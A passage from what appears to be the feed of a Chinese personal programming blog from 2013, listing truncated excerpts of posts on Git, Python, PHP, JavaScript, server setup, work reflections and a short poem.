+<p>我发现这个模型非常优雅。用一个小小的图表就能完全展现,也易于理解记忆。</p> +<p><img alt="Big Picture" src="/assets/uploads/pics/git-internals/big-picture.png"></p> +<h3>实体</h3> +<p>你提交到一个Git代码仓库中的所有文件,包括每个提交的说明信息(the commit info)都在目录 <code>.git/objects/</code>中存储为<strong>实体</strong>。</p> +<p>一个实体以一个40字符长度的字符串 …</p>youngsterxyfSat, 28 Sep 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-09-28:/2013/09/28/learning-git-internals-by-example/Git翻译时间的心http://youngsterxyf.github.io/2013/08/22/heart-of-time/<p>近期工作生活的一点心得:</p> +<h3>珍惜自己的时间</h3> +<p>乐于助人是好事,但,是需要耗费时间的,那么在助人之前就得确认帮助别人所做的事情有多大意义,是否对得起所耗费的时间精力。每个人的时间都很珍贵,应尽可能用来做有价值的事情,不要把自己的时间看得过于廉价。</p> +<p>所以之后有人请我帮忙时,我会先问两个问题:</p> +<ol> +<li> +<p>遇到什么问题?</p> +</li> +<li> +<p>为什么要解决这个问题?</p> +</li> +</ol> +<p>通过这两个问题来判断是否值得帮忙。</p> +<h3>平常心</h3> +<p>一心追求技术,对技术好坏有自己的“正义感”,是好事。但,不能苛求别人,更不能不停评价吐槽,否则于己于人都无益处。对别人、别人的技术水平宽容一点,把苛求留给自己,不断提高自己,努力把事情做得更好,其他的则应保持平常心。</p> +<p><em>至于本文的题目,则纯属扯淡,故作矫情,从两个部分的标题中取出最后一词组合而成。</em></p>youngsterxyfThu, 22 Aug 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-08-22:/2013/08/22/heart-of-time/总结自省Y分钟学会Python(译)http://youngsterxyf.github.io/2013/06/29/learn-python-in-y-minutes/<p>原文:<a href="http://learnxinyminutes.com/docs/python/">Learn Python in Y Minutes</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>Python由Guido Van Rossum发明于90年代初期,是目前最流行的编程语言之一,因其语法的清晰简洁我爱上了Python,其代码基本上可以 +说是可执行的伪代码。</p> +<p>非常欢迎反馈!你可以通过推特<a href="https://twitter.com/louiedinh">@louiedinh</a>或louiedinh AT gmail联系我。</p> +<p>备注:本文是专门针对Python 2.7的,但应该是适用于Python 2.x的。很快我也会为Python 3写这样的一篇文章!</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #008000"># 单行注释以井字符开头</span> +<span style="color: #a31515">&quot;&quot;&quot; 我们可以使用三个双引号(&quot;)或单引号(&#39;)</span> +<span style="color: #a31515"> 来编写多行注释</span> +<span style="color: #a31515">&quot;&quot;&quot;</span> + + +<span style="color: #008000">##########################################################</span> +<span style="color: #008000">## 1. 基本数据类型和操作符</span> +<span style="color: #008000">##########################################################</span> + +<span style="color: #008000"># 数字</span> +3 <span style="color: #008000">#=&gt; 3</span> + +<span style="color: #008000"># 你预想的数学运算</span> +1 + 1 <span style="color: #008000">#=&gt; 2</span> +8 - 1 <span style="color: #008000">#=&gt; 7</span> +10 * 2 <span style="color: #008000">#=&gt; 20</span> +35 …</pre></div>youngsterxyfSat, 29 Jun 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-06-29:/2013/06/29/learn-python-in-y-minutes/Python翻译FTP是90年代的,使用Git取代它来部署代码吧!(译)http://youngsterxyf.github.io/2013/06/24/deploy-via-git/<p>原文:<a href="https://coderwall.com/p/xczkaq?&amp;p=1&amp;q=">FTP is so 90's. Let's deploy via Git instead!</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>首先,在你的服务器上创建一个目录,并在其中初始化一个空的git仓库。我喜欢使用<code>~/www/</code>目录来存放网站代码, +因此我会这么做:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>mkdir ~/www/example.com &amp;&amp; cd ~/www/example.com +git init +</pre></div> + + +<p>接着,设置你服务器上的git仓库以便很好地通过<code>git push</code>来部署代码。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>git config core.worktree ~/www/example.com +git config receive.denycurrentbranch ignore +</pre></div> + + +<p>最后,为git设置一个post-receive钩子来检出<code>master</code>分支 …</p>youngsterxyfMon, 24 Jun 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-06-24:/2013/06/24/deploy-via-git/Git翻译搭建测试服务器(源码编译方式)http://youngsterxyf.github.io/2013/06/18/setup-testing-server/<p>目前工作中开发流程还比较初级,甚至连测试服务器都没有,代码的变更都是直接先在开发人员的本地机器上简单测试一下,然后直接部署到生产服务器上,这就相当于生产服务器同时充当了测试服务器的角色,虽然开发的是面向公司内部的系统,但作为一个有理想有追求的码农,是不允许这样粗糙混乱的开发流程的,所以申请了台服务器,自己搭建个测试服务器。</p> +<p>由于公司的服务器统一使用SUSE Linux Server操作系统,并且版本较老。与Ubuntu、Centos等Linux发行版不同,SUSE Linux没有可用的软件源(不知是否与OpenSUSE的软件源兼容?),即没法使用系统的软件包管理工具。这样问题就很多了。</p> +<p>我选择源码编译的方式来安装所有涉及的软件。也许有人会说,为什么不在网络上查找RPM包然后安装呢?那么先想一下RPM包本质上是个什么东西呢?RPM包(以及DEB包)其实就是将编译好的一些程序以一定的规则打包在一起,然后系统的包管理工具(yum、zypper)按照相同的规则(在依赖满足的情况下)将RPM包里文件复制到指定好的目录里。如果RPM包的依赖没有解决,是无法成功安装的。即使安装好了,若程序依赖的动态链接库等不存在或版本不匹配,也是无法正确运行的,比如libc库的版本过低,但明显你不能轻易替换libc库,因为系统中已安装的很多程序都依赖于libc库。那么相比源码编译方式,RPM包方式的问题更难解决。</p> +<p>需要安装的软件有Nginx、PHP、MySQL、Memcached、Redis、Mongodb …</p>youngsterxyfTue, 18 Jun 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-06-18:/2013/06/18/setup-testing-server/LinuxPHPMySQLNginx服务器PythonGitPHP最佳实践(译)http://youngsterxyf.github.io/2013/06/01/php-best-practices/<p>原文: <a href="https://phpbestpractices.org/">PHP Best Practices-A short, practical guide for common and confusing PHP tasks</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<h2>最后修订日期&amp;维护者</h2> +<p>本文档最后审阅于2013年3月8日。最后修改于2013年5月8日。</p> +<p>由我,<a href="https://alexcabal.com/">Alex Cabal</a>,维护该文档。我编写PHP程序已有很长一段时间了,当前我 +经营着<a href="http://www.scribophile.com/">Scribophile,由认真作家组成的一个在线写作团体</a>, +<a href="http://writerfolio.com/">Writerfolio,为自由职业者提供的一个易用写作工具集</a>,以及 +<a href="https://standardebooks.com">Standard Ebooks,一个图文并茂、无数字版权管理的公共领域电子书出版商</a>。 +有时我是个为吸引我的项目或客户而工作的自由职业者。</p> +<p>如果你认为我在某些事情上能够帮到你,或者对本文档有点建议或纠正存在的错误,<a href="https://alexcabal.com/contact/">请给我写封邮件</a>。</p> +<h2>简介</h2> +<p>PHP是一门复杂的语言,经过多年折腾,使其不同版本之间高度不一致,有时还有些bug。 +每个版本都有自己独有的特性、多余和怪异之处,也很难跟踪哪个版本有哪些问题。这也就 +很好理解为什么有时它会遭到那么多的厌恶。</p> +<p>尽管如此 …</p>youngsterxyfSat, 01 Jun 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-06-01:/2013/06/01/php-best-practices/翻译PHP城市的日子http://youngsterxyf.github.io/2013/05/19/life-of-city/<p>我仍须一个人<br /> +面对这个城市,<br /> +以及如此雷同的日复日。<br /> +<br /> +电话、网络,<br /> +工作、技术、阅读、爱好,<br /> +朋友,<br /> +还有我的思考,<br /> +都改变不了,<br /> +这城市的日子。<br /> +<br /> +所以,<br /> +我想她。<br /></p>youngsterxyfSun, 19 May 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-05-19:/2013/05/19/life-of-city/诗歌笔记生活编译安装MemcacheQhttp://youngsterxyf.github.io/2013/04/27/compile-and-install-memcacheq/<p>MemcacheQ是一个MemcacheDB的变种,用来提供简单的消息队列服务。(注:MemcacheDB并不是一个数据缓存解决方案,而是一个为数据持久化设计的分布式的键-值对数据存储系统,采用memcache协议,以BerkeleyDB作为存储后端,<a href="http://memcachedb.org/">主页</a>)。</p> +<p>MemcacheQ依赖于BerkeleyDB和libevent,所以需先编译安装这两者。</p> +<p>1. +从<a href="http://www.oracle.com/technetwork/products/berkeleydb/downloads/index.html">Oracle官网</a>上下载某一版本的BerkeleyDB(这里以5.0.32版本为例)</p> +<p>解压缩: <code>tar -xvf db-5.0.32.tar.gz</code></p> +<p>进入db-5.0.32/build_unix目录后执行: 1) <code>../dist/configure</code> , 2) <code>make</code> , 3) <code>sudo make install</code></p> +<p>默认情况下,会把BerkeleyDB安装到<code>/usr/local/BerkeleyDB.5.3</code>目录下。</p> +<p>2. +从<a href="http://libevent.org/">libevent官网</a>下载libevent …</p>youngsterxyfSat, 27 Apr 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-04-27:/2013/04/27/compile-and-install-memcacheq/笔记工作服务器技术工作中的技术人http://youngsterxyf.github.io/2013/04/23/technical-person/<p>工作入职半个月,有些事情不太顺利,还没有正式上手工作,也许大公司的节奏便是如此,但我内心是比较急的,希望能尽快地上手做实际的工作,而不是学习和等待。</p> +<p>这半个月里,主要是熟悉工作环境,学习了解工作相关的技术。虽说学习,但其实大部分相关技术以前都了解或使用过,只是经验还不够。</p> +<p>第一周,除了常规的入职事宜,搭建了开发测试环境,并阅读理解工作中使用的web框架。对于这个框架,有太多的吐槽点,严格地说算不上是个框架,可能是因为写得比较早。对于框架,我认为最重要的是为多人协作完成一件事情提供实现上的规范,其次是代码复用,减少工作量。但这个框架除了一些供复用的代码,就啥都没有了。</p> +<p>第二周,学习巩固PHP基础,一直没认真地学习过PHP,只是在实习的时候做了一些开发,稍微了解了下Yii框架和Zend框架,觉得太复杂了点。除此之外,初步了解组内的运维工作,特别是整个系统的架构。</p> +<p>经过一番思考,基于自己的理解,昨天编写了一个玩具性质的MVC web框架原型<a href="https://github.com/youngsterxyf/minibean">minibean</a>,该框架以路由转发和控制器为核心,所有非静态文件请求的处理都以Application类对象为入口,按照一定规则对请求URI经路由转发找到对应的控制器类,控制器对象中调用模型与视图的类对象等。以后随着开发经验的增加以及对其他开源成熟框架的学习,会不断地完善该框架。在编写该框架的过程中,深感自己经验的不足,特别是对于Model层 …</p>youngsterxyfTue, 23 Apr 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-04-23:/2013/04/23/technical-person/工作感悟Windows上安装PHP开发测试环境http://youngsterxyf.github.io/2013/04/15/install-php-development-environment-on-windows/<p>先从HTTP请求处理流程图来看看我们所需的PHP开发测试环境包含哪些组件。</p> +<p><img src="/assets/uploads/pics/php-development-env.jpg" alt="PHP开发测试环境"></p> +<p>从图中可以看出系统包含如下几种组件之间的交互:</p> +<ul> +<li>Nginx与PHP-CGI(PHP)的交互</li> +<li>PHP-CGI(PHP)与文件系统、分布式内存对象缓存系统、数据库之间的交互</li> +</ul> +<p>除了PHP与文件系统之间的交互,其他几种交互均为客户端-服务器模式,以Socket方式进行连接,都需要安装配置相关组件。</p> +<p>对于Nginx与PHP-CGI(PHP)的交互,PHP-CGI默认打开9000端口,等待Nginx转发过来的请求,所以需要在Nginx配置文件中添加类似于如下所示的虚拟主机配置:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>server { + listen 8000; + server_name localhost; + + location / { + root html; # 这里为你的网站的根目录 + index index.php index.html index.htm; + } + + location ~ \.php$ { + root html; # 这里也设置为你的网站的根目录 + fastcgi_pass 127.0.0.1:9000; # 这里设置为你的PHP-CGI监听的网络地址 + fastcgi_index index …</pre></div>youngsterxyfMon, 15 Apr 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-04-15:/2013/04/15/install-php-development-environment-on-windows/笔记PHP弄清问题,再求解决http://youngsterxyf.github.io/2013/04/09/understand-before-solve/<p>今天同事问我:是否有什么python库或工具能够将网页内容转换成图片格式的。他在做这方面的事情,还没有好的方法,因为觉得我对python比较熟悉,所以问一下。</p> +<p>但是我从一开始我就犯错误了。其实我至少应该问一下:为什么要解决这个问题?也就是业务需求是什么?并且稍微一想这个问题其实比较含糊。现在的web页面可以很简单,也可能很复杂。那么这个问题里的“网页”是什么样的网页呢?是任何可能的网页么?目的是需要通过图片来展示网页的哪个部分的信息还是整个网页?这些问题我都没问,也没仔细考虑。</p> +<p>在没有明确需求的情况下,我就认为是将任何形式的网页完整地转换成图片,但又没弄清如果是这种情况问题的难度有多大。</p> +<p>在听完问题后,我就想到可能有两种方法:1. 先将网页转换成pdf,然后转换成图片,因为我对于将网页转换成pdf格式的方法有点印象;2.可能存在python实现的工具直接将网页转换成图片格式。你是否发现我的思路有个误区:问题的解决方案需要python代码实现,我假设了需要将这个功能嵌入到一个大的程序中。</p> +<p>然后我就开始蒙头google找方案。经过一番“艰苦卓绝”的查找,发现:1.确实有如xhtml2pdf等工具能将网页转换成pdf格式,但貌似对于中文的支持不是很好;2.没有好的python库或工具能够直接将网页转换成图片格式,有的方案要收费,有的方案需要调用第三方API,而公司的数据明显是不能让第三方获得的。</p> +<p>在查找解决方案的过程中,我也逐步意识到上述的那些问题,特别是若假设需要将任何形式的网页转换成图片格式 …</p>youngsterxyfTue, 09 Apr 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-04-09:/2013/04/09/understand-before-solve/笔记工作argparse - 命令行选项与参数解析(译)http://youngsterxyf.github.io/2013/03/30/argparse/<p>原文:<a href="http://pymotw.com/2/argparse/">argparse – Command line option and argument parsing</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>argparse模块作为optparse的一个替代被添加到Python2.7。argparse的实现支持一些不易于添加到optparse以及要求向后不兼容API变化的特性,因此以一个新模块添加到标准库。</p> +<h3>与optparse相比较</h3> +<p>argparse的API类似于optparse,甚至在很多情况下通过更新所使用的类名和方法名,使用argparse作为一个简单的替代。然而,有些地方在添加新特性时不能保持直接兼容性。</p> +<p>你必须视情况决定是否升级已有的程序。如果你已编写了额外的代码以弥补optparse的局限,也许你想升级程序以减少你需要维护的代码量。若argparse在所有部署平台上都可用,那么新的程序应尽可能使用argparse。</p> +<h3>设置一个解析器</h3> +<p>使用argparse的第一步就是创建一个解析器对象,并告诉它将会有些什么参数。那么当你的程序运行时,该解析器就可以用于处理命令行参数。</p> +<p>解析器类是 <strong>ArgumentParser</strong> 。构造方法接收几个参数来设置用于程序帮助文本的描述信息以及其他全局的行为或设置。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">import</span> argparse +parser = argparse.ArgumentParser(description=<span style="color: #a31515">&#39;This is a PyMOTW sample program&#39;</span>) +</pre></div> + + +<h3>定义参数</h3> +<p>argparse是一个全面的参数处理库。参数可以触发不同的动作,动作由 <strong>add_argument …</strong></p>youngsterxyfSat, 30 Mar 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-03-30:/2013/03/30/argparse/Python翻译读文笔记:What Powers Instagramhttp://youngsterxyf.github.io/2013/03/27/what-powers-instagram/<p>原文:<a href="http://instagram-engineering.tumblr.com/post/13649370142/what-powers-instagram-hundreds-of-instances-dozens-of">What Powers Instagram: Hundreds of Instances, Dozens of Technologies</a></p> +<p><em>该文从多个方面介绍Instagram整个系统栈(stack)的组成,罗列所使用的组件。我觉得重要的不是用了哪些组件和工具,而是在构建一个系统时,应注意哪些问题,从哪些层面对系统进行优化。</em></p> +<p>构建系统的核心原则:</p> +<ul> +<li>保持简单</li> +<li>不重复造轮子</li> +<li>尽可能使用经实践验证可靠的技术</li> +</ul> +<h3>OS/虚拟主机</h3> +<p>在Amazon EC2上运行Ubuntu Linux 11.04。之前的Ubuntu版本在高流量的情况会产生各种不可预料的冻结事件(freezing episodes)。</p> +<h3>负载均衡</h3> +<p>对Instagram的每个请求都会经过负载均衡机器。以前使用两台<strong>Nginx</strong>机器,并在两者之间使用DNS轮循(Round-Robin)。 +这种方法的缺点是当有机器退出使用时DNS需要花些时间来更新。后来使用Amazon的Elastic负载均衡器,并在ELB层面终止SSL(注:不太懂这个), +从而降低nginx的CPU负载。</p> +<h3>应用服务器</h3> +<p>Django;多个应用服务器,由于无状态,所以容易横向扩展 …</p>youngsterxyfWed, 27 Mar 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-03-27:/2013/03/27/what-powers-instagram/笔记学习JavaScript - 我的经验与建议(译)http://youngsterxyf.github.io/2013/03/25/learning-js/<p>原文:<a href="http://sivers.org/learn-js">learning JavaScript - my experience and advice</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>自从我曾<a href="http://sivers.org/os">几</a><a href="http://sivers.org/srs">次</a><a href="http://sivers.org/prog">提到</a>自己在刚过去的几个月中学习了JavaScript,很多人就发email给我询问我是如何学习JavaScript的以及推荐如何学习。以下就是我的经验和最佳建议。</p> +<p>注:我是想真正地学习JavaScript---不是捷径,或快速技巧,或元工具(meta-tools)之类让我不必要学习JavaScript的东西。我想学习、掌握、阅读、理解以及记住JavaScript这门语言,从而在以后的日子里能够理解所有其他以JavaScript编写的很酷的东西。</p> +<p>首先---很多人可能会告诉你去阅读<a href="http://shop.oreilly.com/product/9780596517748.do">Douglas Crockford的著作《JavaScript语言精粹》</a>。但当我开始阅读这本书时,才发现它是如此的紧凑简洁以致我根本不知道它在说啥!</p> +<p>你知道何时一个专家是在谈论自己的领域,就不知道如何为其他人做点简化么?感觉这本书对于那些已有20年的C、Java或C++编程经验来说非常完美,他们只需要快速概览必知的JavaScript知识点。</p> +<p>但它真的不是要教你学习JavaScript。它不会指导你学习任何东西。因此我建议先跳过这本书。</p> +<p>相反,从<a href="http://eloquentjavascript.net/">Marijn Haverbeke的著作《JavaScript编程精解》</a>开始学习吧。</p> +<p>这本书一开始非常简单易学,简直是太简单了 …</p>youngsterxyfMon, 25 Mar 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-03-25:/2013/03/25/learning-js/JavaScript翻译pip install lxml编译失败问题解决http://youngsterxyf.github.io/2013/03/17/pip-install-lxml-problem/<p>以前在遇到这个问题时,都是偷懒使用<code>sudo apt-get install python-lxml</code>(Debian系的Linux发行版)直接安装已打包好的deb包。但一方面这样安装的不是最新的库,另一方面我希望把所有的Python第三方库都限制在virtualenv中使用,所以希望使用<code>pip install lxml</code>,那么这个问题就必须解决了。</p> +<p>Google了一把,在<a href="http://stackoverflow.com/questions/5178416/pip-install-lxml-error">这里</a>找到了解答。</p> +<p>其实在编译失败的log里,已经有提示:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>make sure the development packages of libxml2 and libxslt are installed +</pre></div> + + +<p>所以正确编译需先安装libxml2和libxslt这两个包。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sudo apt-get install libxml2 +sudo apt-get install libxslt +</pre></div> + + +<p>另外,还需安装Python开发包python-dev:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sudo apt-get install python-dev +</pre></div> + + +<p>OK,再执行<code>pip …</code></p>youngsterxyfSun, 17 Mar 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-03-17:/2013/03/17/pip-install-lxml-problem/Python读书笔记:JavaScript语言精粹http://youngsterxyf.github.io/2013/03/14/read-js-thegoodparts/<h2>第2章:语法</h2> +<p>JavaScript提供两种注释形式,一种是用<code>/* */</code>包围的注释块,另一种是以<code>//</code>为开头的行注释。 +建议避免使用<code>/* */</code>,而用<code>//</code>注释代替它。</p> +<hr> +<p>标识符由一个字母开头,其后可选择性地加上一个或多个字母、数字或下划线。</p> +<hr> +<p>JavaScript只有一个数字类型。它在内部被表示为64位的浮点数。与其他大多数编程语言不同的是,它没有分离出整数类型,所以1和1.0的值相同。</p> +<p>如果一个数字字面量有指数部分,那么这个字面量的值等于e之前的数字与10的e之后数字的次方相乘。</p> +<p>NaN是一个数值,它表示一个不能产生正常结果的运算结果。NaN不等于任何值,包括它自己。可以用函数isNaN(number)检测NaN.</p> +<p>Infinity表示所有大于1.79769313486231570e+308的值。</p> +<p>JavaScript有一个对象Math,它包含一套作用于数字的方法。</p> +<hr> +<p>字符串字面量可以被包在一对单引号或双引号中,它可能包含0个或多个字符。\(反斜杠)是转义字符。JavaScript中的所有字符都是16位的。</p> +<p>JavaScript没有字符类型。要表示一个字符,只需创建仅包含一个字符的字符串即可。</p> +<p>字符串是不可变的。一旦字符串被创建,就永远无法改变它。但可以通过+运算符连接其他字符串来创建一个新字符串。两个包含着完全相同的字符且字符顺序也相同的字符串被认为是相同(===)的字符串。</p> +<hr> +<p>一个编译单元包含一组可执行的语句。在Web浏览器中 …</p>youngsterxyfThu, 14 Mar 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-03-14:/2013/03/14/read-js-thegoodparts/笔记JavaScriptJavaScript初学者应知的24条最佳实践(译)http://youngsterxyf.github.io/2013/03/11/js-best-practices-for-beginners/<p>原文:<a href="http://net.tutsplus.com/tutorials/javascript-ajax/24-javascript-best-practices-for-beginners/">24 JavaScript Best Practices for Beginners</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p><em>(注:阅读原文的时候没有注意发布日期,觉得不错就翻译了,翻译到JSON.parse那一节觉得有点不对路才发现是2009年发布的文章,不过还是不错的啦。另外,文章虽说24条最佳实践,其实只有23条,不知道原作者怎么漏了一条。)</em></p> +<h3>1.优先使用===,而不是==</h3> +<p>JavaScript使用两种相等性操作符:===|!==和==|!=。通常认为做比较的最佳实践是使用前一组操作符。</p> +<blockquote> +<p>"若两个操作数的类型和值相同,那么===比较的结果为真,!==比较的结果为假。" --- JavaScript语言精粹(JavaScript: The Good Parts) +</p> +</blockquote> +<p>然而,如果使用==和!=,当比较不同类型的操作数时,你就会碰到问题啦。在这种情况下,这组操作符会尝试对操作数的值做无用的强制转换。</p> +<h3>2.Eval就是糟糕的代名词</h3> +<p>对于那些不熟悉JavaScript的人来说,函数"evel"让我们能够访问JavaScript编译器。我们可以通过给"eval"传递一个字符串参数来得到该字符串执行的结果 …</p>youngsterxyfMon, 11 Mar 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-03-11:/2013/03/11/js-best-practices-for-beginners/JavaScript翻译电脑重装记http://youngsterxyf.github.io/2013/03/09/reinstall-my-computer/<p>一台电脑使用时间长了,速度就会越来越慢,也会越来越“脏”,因为经过时间的积累,电脑里多了很多的软件、文件等,这些文件和软件中很多以后是不需要的,在当时因为各种原因而下载或安装了,那么我们就会经常去清理,但对于有点洁癖的人来说,这是不够的,所以会过段时间后就会选择重装电脑,一切重新开始。当然一般都是等到无法忍受的时候,不得已而为之,为什么呢?因为电脑重装后,要想重新打造成一个令自己满意的使用环境需要花一些时间和精力,所以破旧立新也是需要勇气的。</p> +<p>我笔记本的操作系统是Ubuntu+KDE,从安装使用到现在将近一年了,期间经过7个月的实习,所以将笔记本打造成一个开发环境和测试服务器,Nginx+PHP+Mysql+Memcached啥的都安装全了,还有其他的一些软件都不知道安装了些什么。另外,由于做兴趣项目,我主要选择Python进行开发,对于Python第三方库主要有两种安装方式:一种是使用操作系统本身的软件包管理工具,Ubuntu下即为apt-get;另一种是使用Python的包管理工具,如easy_install,pip。通过这两种方式我的系统里安装了很多大大小小的Python第三方库,也懒得去整理了,所以干脆重装,原来实习时使用的那一套开发环境和测试服务器之后也不一定用得到,并且决定之后所有的Python第三方库全部在virtualenv下安装,保持系统干净。</p> +<p>那么仍旧装Ubuntu呢还是装其它的Linux发行版呢?如ArchLinux、Gentoo Linux。我想这应该看需求 …</p>youngsterxyfSat, 09 Mar 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-03-09:/2013/03/09/reinstall-my-computer/笔记PHP之道---PHP基础知识(译)http://youngsterxyf.github.io/2013/03/08/php-basics/<p>原文:<a href="http://wulijun.github.com/php-the-right-way/pages/The-Basics.html">PHP: The Right Way - The Basics</a></p> +<p>译者:<a href="http://github.com/youngsterxyf">youngsterxyf</a></p> +<h2>比较操作符</h2> +<p>比较操作符往往是PHP的一个被忽视的方面,这会导致很多意想不到的结果。其中的一个问题源于严格比较(布尔值为整数的比较)。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">&lt;?php</span> +$a = 5; <span style="color: #008000">// 5为一个整数</span> + +var_dump($a == 5); <span style="color: #008000">// 比较值;返回true</span> +var_dump($a == <span style="color: #a31515">&#39;5&#39;</span>); <span style="color: #008000">// 比较值(忽略类型);返回true</span> +var_dump($a === 5); <span style="color: #008000">// 比较类型/值(整数 vs. 整数);返回true</span> +var_dump($a === <span style="color: #a31515">&#39;5&#39;</span>); <span style="color: #008000">// 比较类型/值(整数 vs. 整数);返回false</span> + +<span style="color: #a31515">/**</span> +<span style="color: #a31515"> * 严格比较</span> +<span style="color: #a31515"> */</span> +<span style="color: #0000ff">if</span> (strpos …</pre></div>youngsterxyfFri, 08 Mar 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-03-08:/2013/03/08/php-basics/PHP翻译数据压缩理论简介(译)http://youngsterxyf.github.io/2013/02/27/A-introduction-to-compression/<p>原文:<a href="http://imrannazar.com/An-Introduction-to-Compression">A introduction to compression</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>最近我在思考GIF和JPEG图片格式之间的不同:为什么某些图片存储为GIF格式所占的磁盘空间更大,而另一些图片以JPEG格式存储要占用更大的磁盘空间?事实证明,这是因为不同的图片格式使用了不同的压缩方法。</p> +<p>压缩是一组程序的简便说法,这些程序能够将数据装进更小的存储空间中,也能将数据从压缩编码中重新取回。这是一个双向的过程:输入文件能够产生经过压缩的输出,并且算法根据压缩后的输出能够重新给你一个输入的拷贝。</p> +<h2>冗余:行程长度编码(Run-Length Encoding)</h2> +<p>使压缩成为可能的是冗余:事实表明大多数的数据都以某种方式重复自己。例如,在一个文档中可能多次使用同一个单词,或者一张图片的多处包含相同的颜色。一个非常简单的冗余数据片段的示例如下所示:</p> +<blockquote> +<p>Redundancy: Before compression</p> +<p>AAAAABBWWWWWWWWWPPPPQZMMMMVVV</p> +</blockquote> +<p>在这种情况下,冗余是明显的;整个样本中重复出现了一系列字母。压缩这种数据的一种简单方式是通过重复次数来代表重复出现的字母,从而削减了样本的总长度。</p> +<blockquote> +<p>Redundancy: After compression</p> +<p>A5B2W9P4Q1Z1M4V3</p> +</blockquote> +<p>算法读取样本编码后的版本将能够完美地重现原来的数据:"A" 5次,"B" +2次,等等。这个简单算法的使用非常广泛,被称为行程长度编码(RLE …</p>youngsterxyfWed, 27 Feb 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-02-27:/2013/02/27/A-introduction-to-compression/理论翻译JavaScript:继承和原型链(译)http://youngsterxyf.github.io/2013/02/27/Inheritance-and-the-prototype-chain/<p>原文:<a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>对于具备基于类的编程语言(如Java或C++)经验的程序员来说,JavaScript有点混乱,因为它是一种动态语言,并且不提供<code>class</code>的实现(虽然关键字<code>class</code>是保留的,不可用作变量名)。</p> +<p>说到继承,JavaScript只有一种结构:对象。每个对象都有一个内部链接指向另一个对象,这个对象称为<strong>原型</strong> (prototype)。那个原型对象也有自己的原型,如此直到某个对象以<code>null</code>作为其原型。<code>null</code>,根据定义,没有原型,作为这种<strong>原型链</strong>的最后一环而存在。</p> +<h2>以原型链实现继承</h2> +<h3>继承属性</h3> +<p>JavaScript对象可看作是动态地装载属性(这里指<strong>自有属性</strong>)的"包包",并且每个对象都有一个链指向一个原型对象。如下即为当尝试访问一个属性时发生的事情:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #008000">// 假设有个对象o,其原型链如下所示:</span> +<span style="color: #008000">// {a: 1 …</span></pre></div>youngsterxyfWed, 27 Feb 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-02-27:/2013/02/27/Inheritance-and-the-prototype-chain/JavaScript翻译Python格式字符串(译)http://youngsterxyf.github.io/2013/01/26/python-string-format/<p>原文:<a href="http://mkaz.com/solog/python-string-format">Python String Format</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>每次使用Python的格式字符串(string formatter),2.7及以上版本的,我都会犯错,并且有生之年,我想我都理解不了它们的文档。我非常习惯于更老的 +<code>%</code> 方法。所以着手编写自己的格式字符串手册。若你有一些其他好的示例请告知我。</p> +<h2>格式字符串手册</h2> +<p><strong>数字格式化</strong></p> +<p>下面的表格展示了使用Python的后起新秀str.format()格式化数字的多种方法,包含浮点数格式化与整数格式化示例。可使用 +<code>print("FORMAT".format(NUMBER));</code> 来运行示例,因此你可以运行: +<code>print("{:.2f}".format(3.1415926));</code> 来得到第一个示例的输出。</p> +<table border="1" align="center" width="80%"> +<tr><th width="10%">数字</th><th width="10%">格式</th><th width="12%">输出 +</th><th width="65%">描述</th></tr> +<tr><td> 3.1415926 </td> + <td> {:.2f} </td> + <td> 3.14 </td> + <td> 保留小数点后两位 </td> +</tr> +<tr><td> 3.1415926 </td> + <td> {:+.2f …</td></tr></table>youngsterxyfSat, 26 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-26:/2013/01/26/python-string-format/Python翻译python周刊-第70期(译)http://youngsterxyf.github.io/2013/01/25/issue-70-of-python-weekly/<p>原文:<a href="http://us2.campaign-archive1.com/?u=e2e180baf855ac797ef407fc7&amp;id=7fc9a4c2e2&amp;e=59f9a3c7e0">issue 70 of Python Weekly</a></p> +<p>译者:<a 